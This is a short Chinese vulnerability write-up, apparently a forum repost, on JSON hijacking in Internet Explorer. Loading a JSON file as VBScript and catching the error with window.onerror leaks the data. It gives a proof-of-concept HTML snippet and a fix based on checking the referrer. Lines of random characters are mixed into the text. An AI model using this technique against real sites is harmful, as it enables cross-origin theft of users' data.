IE通用JSON劫持漏洞

admin

简要描述：

由于某些资源容器对数据处理不当导致json劫持漏洞.
6 W1 S3 M$ c& Y* h3 e, Z+ u* h详细说明：
5 L7 g7 [, g, q0 o! N, r. c由于ie支持vbscript,所以script元素可以指定成vbscript语言:
<script language=vbscript></script>
$ _4 q" c7 g; |$ T- r- W
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
5 }8 P: Q- d; p4 O7 l, G漏洞证明：
<script>
window.onerror=function(_){
alert(_)
}
4 K4 m' g3 f- A. {</script>
$ I# d+ f% I4 j5 w6 B2 n! |% K0 L<script language=vbscript src=1.json></script>
3 Y3 j$ v4 a5 t& j2 _3 \0 s, q0 ]

1.json:
[{"name":"sogili","age":19}]
修复方案：
3 n% D( G$ U- P# E. \网站业务对于这个问题可以通过验证referrer是否为同源来防御